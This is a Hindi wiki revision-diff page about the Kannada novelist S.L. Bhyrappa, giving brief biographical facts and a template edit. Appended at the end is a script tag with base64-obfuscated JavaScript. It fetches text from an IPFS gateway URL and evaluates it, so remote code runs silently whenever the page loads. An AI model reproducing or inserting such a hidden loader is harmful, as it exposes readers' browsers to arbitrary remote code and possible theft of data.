"एस.एल. भयरप्पा" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
छो (Text replace - "{{लेख प्रगति |आधार=आधार1 |प्रारम्भिक= |माध्यमिक= |पूर्णता= |शोध= }}" to "{{लेख प्रगति |आधार= |प्रारम्भि�)
पंक्ति 6: पंक्ति 6:
  
 
{{प्रचार}}
 
{{प्रचार}}
{{लेख प्रगति
+
{{लेख प्रगति |आधार= |प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }}
|आधार=आधार1
 
|प्रारम्भिक=
 
|माध्यमिक=
 
|पूर्णता=
 
|शोध=
 
}}
 
 
{{संदर्भ ग्रंथ}}
 
{{संदर्भ ग्रंथ}}
 
==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==

07:25, 27 जुलाई 2012 का अवतरण

एस.एल. भयरप्पा
  • सांतेशिवारा लिंगणय्या भैरप्पा (एस.एल. भयरप्पा) कन्नड़ भाषा के प्रसिद्ध लेखक, उपन्यासकार हैं।
  • मैसूर, कर्नाटक के छोटे से गाँव में 20 अगस्त, 1931 को जन्मे भयरप्पा के अभी तक 22 उपन्यास प्रकाशित हो चुके हैं। उनका पहला उपन्यास 'भीमकाया' 1959 में प्रकाशित हुआ।
  • 'एसएल भयरप्पा के उपन्यास 'मंद्र' को 2010 के 20 वें सरस्वती सम्मान के लिए चुना गया। 2002 में प्रकाशित इस उपन्यास का चयन पिछले दस सालों में बाइस भारतीय भाषाओं में प्रकाशित कृतियों में से किया गया था और 2007 में उनका उपन्यास 'अवर्ण' प्रकाशित हुआ है।
  • भयरप्पा के सरस्वती सम्मान के लिए चुने गये कन्नड़ उपन्यास 'मंद्र' के हिन्दी और मराठी में अनुवाद प्रकाशित हो चुके हैं, जो बेहद सफल रहे।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>